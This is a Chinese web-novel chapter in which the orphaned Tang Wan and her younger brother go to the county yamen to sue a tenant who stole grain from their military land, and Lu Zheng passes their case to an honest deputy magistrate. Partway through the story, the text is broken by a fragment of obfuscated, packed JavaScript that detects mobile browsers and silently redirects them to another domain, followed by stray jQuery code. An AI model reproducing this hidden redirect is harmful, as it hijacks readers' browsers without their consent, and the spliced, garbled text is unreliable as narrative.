默认冷灰
24号文字
方正启体

11. 开源节流

作者:芒兔七本书字数:K更新时间:
    说是写了一晚诉状,其实睡前还不到亥时正,这让夜猫子唐宛很有些不适应,连着几日天不亮就醒来。


    横竖躺着也是睁眼发呆,她索性掀了被子下炕,去院里转了几圈,回忆着动作做了一套广播体操。


    等天色亮起,便去灶前查看。


    昨儿从林子里采回的野葱还剩一点,收拾干净切得细细的,拌了鸡蛋和面粉调成面糊,起灶摊了几张薄薄的葱花饼。


    唐睦闻着味儿出来时,唐宛正在冲蛋花汤。


    “你醒啦?正好,洗把脸就能吃了。”


    唐宛用折来的杨枝嚼了嚼,蘸些粗盐刷牙,舀了瓢冷水扑了扑了脸,一脸清爽坐到桌边,唐睦便迫不及待撕了半张还带着热气的饼子塞入口中。


    “阿姊,说来也真怪,你最近的厨艺怎么这么好?”


    唐宛微顿,喝了一口蛋花汤:“哪是我厨艺见长?你不瞧瞧,这饼里我放了多少鸡蛋和精面。”


    唐睦一愣:“你还放鸡蛋了?”


    难怪吃起来格外香甜。


    他急忙去放鸡蛋的篮子里数了数,果真少了四个。昨儿去集市一共买了二十个鸡蛋,这才两天,就吃没了一半。


    唐宛见他一副心疼的模样,失笑道:“回头集市上见着小鸡崽,买回来几只养着,自家下蛋吃,你就不心疼了。”


    唐睦有些迟疑,低声道:“咱手头现在是有点余钱,但是不是该省着点儿花销?”


    这两日又是精面又是鸡蛋的,昨日还喝了猪肺汤,吃起来自然很开心,可他心里却总有点不安。


    唐宛心知,少年是过怕了苦日子,现在极度缺乏安全感。唐爷爷去世之后的这段时间,姐弟俩的日子确实不好过。


    “不过吃几个鸡蛋,还算不上挥霍。节流不如开源,回头阿姊会想法子挣钱的。”


    唐睦闻言心下略宽,急忙道:“我也会挣钱的。以后我就像阿爷那样去集上摆摊,帮人写信赚些家用。”


    “好啊。”


    唐宛并不反对,唐睦以后要袭军户进军伍,并不能走科举路线,能够识文断字已经比很多人强了,不必刻意再请老师,不过以后有机会的话,倒是可以为他寻访一个武师父。


    唐宛暗自把这事儿记下。


    等吃过早饭,姐弟俩把家中账本找出来,跟状纸一起放好,唐宛摸了摸身上的几两散碎银子,对唐睦说:“走吧。”


    姐弟俩还是打算租骡车去县衙。


    出门时天色尚早,集市上十分热闹,最热闹还是各种卖吃食的摊位。


    唐宛坐在骡车上两面瞧,发现集市上的早餐品类还不少。有支着铁鏊子现烙现炸的烧饼油饼,有热气腾腾在水里翻滚的馄饨手擀面,也有搭着桌子卖咸菜白粥馒头的,以及各种茶摊。


    北境多驻军,军户来自南北各地,带来了不同地方的特色美食。


    唐睦摸了摸圆滚滚的肚皮,笑着说:“得亏吃饱了再出来,不然这也太馋人了。”


    唐宛笑着,目光却始终留意着那些摊位。


    这集市不是很大,卖吃食的却不少,北境虽苦,可士兵拿命换钱,手头比寻常百姓富裕,生意都很不错。


    她有心也来早市支个摊子,不过卖些什么好呢?


    不待她想出个头绪来,骡车已经将热闹的集市抛在身后,继续往城东去。


    东城相对更加干净整洁,街面就显得清净许多,道旁院落明显更宽敞些,这边住户通常是高阶军户和怀戎县的富户。


    街上来往行人不多,临街铺子却并不少,有卖布匹成衣的,有卖粮食米面的,药铺、铁匠铺、南北杂货,应有尽有。


    唐宛寻找商机的思路难免又发生了几分微妙变化。


    唐睦在她身边坐着没说话,手时不时摸一摸怀里的账册和状纸,小小的年纪背挺得直直的,到底还是有些紧张。


    他小声跟唐宛商量:“等会儿去了县衙,我们要怎么说?”


    唐宛让他别担心。


    “这件事本就我们占理,而且阿爷在军户中颇有声名,爹也是有战功在身的,再看吴家确实是无根基的流民,如果他们真以为咱们姐弟俩年幼好欺负,那就大错特错了。”


    唐睦心知正是这个道理,情绪慢慢安定下来。


    骡车在距离县衙百米开外之地就将姐弟俩放下,收了车钱就走了。


    唐宛抬头,眯着眼将眼前的官衙打量了一番。


    怀戎县衙灰瓦高墙,大门两侧立着两座威武的石狮子,朱漆大门紧闭,偏门虚掩着,有穿皂衣的衙役在门口看守。


    自然比不得前世警卫保安站得那么笔挺,那衙役只颇为闲适地靠在墙边晒太阳。


    见姐弟俩上前,斜眼看了过来,开口便是一声喝。


    “走走走!县衙重地,闲人勿近。”


    唐睦冷不丁被吼了声,脚下便顿住了。唐宛却往前半步,不卑不亢道:“官差大哥见谅,我们是来状告的。”


    那衙役听了不以为然,一个十四五岁的女子和一个半大不小的孩子,能有什么冤情要诉,不耐烦道:“有什么不平之处,请你家大人来。”


    唐宛抿了抿唇,温声道:“我家没有大人了。我们是军户遗孤,家中军田所产之粮被佃户恶意私吞多年,想请县太爷主持公道。”


    “军田?”衙役听到这些,再看姐弟俩,神色便带上了几分打量,半晌才道:“状纸可带了?”


    唐宛看向唐睦,后者忙把怀中收好的状纸拿出来,双手递过去。


    那衙役取了,展开煞有介事地看了好一会儿。唐宛原本耐心等待,眼角余光却扫到那状纸竟然被拿倒了,不禁有些无语。


    这衙役分明不识字,装模作样看这半天,在看什么呢?


    她眼眸微动,随即明白了什么,从袖中的荷包里摸出一角碎银,用袖口挡了塞进那衙役手中,低声说道:“官差大哥辛苦,还请劳烦帮我们通传一声。”


    那衙役横扫了她一眼,总算是把状书收起来,没再多说什么,只道:“你们且在这等着,我去禀告县太爷。”


    姐弟俩只得在官衙门外等候。没过多久,便换了一名年纪稍大的衙役出来接班看守。


    唐宛寻思着上前问问情况,刚挪两步就被那衙役严肃喝止:“官衙重地,闲人勿近!”


    姐弟俩无奈对视一眼,只得在远处树荫下等。


    一直等到日上中天,眼看着晌午了,衙门里头却一点动静都没有,说是帮他们通传的衙役根本不见人影。


    唐宛下定决心想要再问问情况,门口的衙役却冷冰冰道:“急什么,候着便是。”


    唐宛正想再说几句,忽然听见身后有哒哒马蹄声由远及近,下意识回头看了一眼,却是一愣。


    竟是陆铮。


    棕褐色高头大马在县衙门口停下,一身青灰色军袍的男人翻身下马,一眼扫到正在跟衙役说话的唐宛,目光中流露瞬间的意外。


    却没有多问,只略点了点头,算是打过了招呼,将马儿交给衙役,低声说了句什么,便径自抬脚进了县衙。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901876|176676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >唐宛见那衙役不敢怠慢、立即放行的模样,心内一动。


    看来陆铮跟县衙里的人比较熟悉。她打算再等等,倘若今日一直等不到结果,就等陆铮出来,托他问问究竟是什么情况。


    陆铮此番是为了春耕军需来找县丞范敬之的。因年年都要过来交接,他跟县衙的衙役们都混了个脸熟。


    他在院内交了文书,等待范县丞过来的时候,不禁往外看了一眼,迟疑了一下,问身边的衙役:“门口那对姐弟是……”


    偏就巧了,这衙役正是帮唐宛递状纸的王三,闻言便道:“说是家中军田被佃户私吞了粮食,请县太爷主持公道来的。”


    陆铮便问:“那为何在外等候?”


    王三冲官衙后的内宅努了努嘴,悄声道:“知县老爷深陷温柔乡,这会子还没起身呢。”


    陆铮眉心微拧,并未作声。


    怀戎县知县胡旭什么德行,县衙上下一清二楚,便是他这个偶尔过来办差的都有所耳闻,等这位胡大人出来断案,且不说要等到猴年马月,恐怕还要平白遭受一番盘剥。


    范敬之从户房忙完出来,看见陆铮这幅模样,不免心中好奇。不过这陆小旗性子内敛,平日里沉默寡言,非必要情况半个字不肯多言,知晓问也是白问,就没说什么,只热情寒暄上来。


    陆铮连忙收敛了心神,与他交接了正事。


    虽有个荒唐长官,县衙却也不都是尸位素餐之辈。


    这位范县丞倒是个清正廉洁的好官,陆铮思索片刻,还是将姐弟俩来状告的事情稍提了提。


    佃户私吞军田产粮一案,说起来半大不小,未必非得知县大人裁判,说起来正是范敬之的职权之内的事。


    范敬之心内却有些纳罕,笑道:“难得见陆小旗愿意管他人闲事。”


    陆铮也觉自己此举似乎有些越界,不过一想到那女子连番被人欺辱,甚至想不通投了河,心中就有些难言滋味。


    大概因为人是自己救上来的,难免多了几分关注罢。


    这些内情他不愿与人多言,只道:“她祖父是唐怀远,早年间曾在军中担任书吏官,与范大人应属旧识。”


    “原来是他家。”


    范敬之恍然。他跟唐怀远确是旧识,那唐书吏虽是文人,却有一副古道热肠,范敬之对他很是钦佩。唐怀远病逝的时候,范大人还托家中娘子送过奠仪。后来隐约听娘子说起唐家孙女遭陈家退婚一事,还私下嘀咕了几句,说当日奠仪不知落在了谁的手里。


    如今听说唐家遗孤不仅被退婚,还被当日援助过的流民欺负,范敬之实在气愤,便遣王三取来状书,仔细看了。


    看罢,范大人目露惊讶:“这状书是何人所写?虽不甚规范,却也简明扼要,十分清晰。倘若人人状书都写得这般清楚,办起案来倒是便宜许多。”


    心中存着定要将写诉状之人问出来的念头,扭头对王三道:“你去将人带进来。”


    陆铮在旁观望片刻,确信这案子范大人接手了,便开口道:“那我就先告退了。”


    范大人疑惑:“你不留下来瞧一瞧情况再走?”


    陆铮却道:“大人仁心爱民,案子到了您手中一定会得到一个公正处置,我这还有旁的事。”


    范大人便不再强留。


    陆铮刚出了大堂,便看到唐宛姐弟俩被王三引进来,两边打了个照面,唐宛和唐睦立即笑着招呼:“陆二哥!”


    陆铮目光掠过女子乌黑明媚的眼眸,顿了一下,只点了点头,大步出了县衙。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)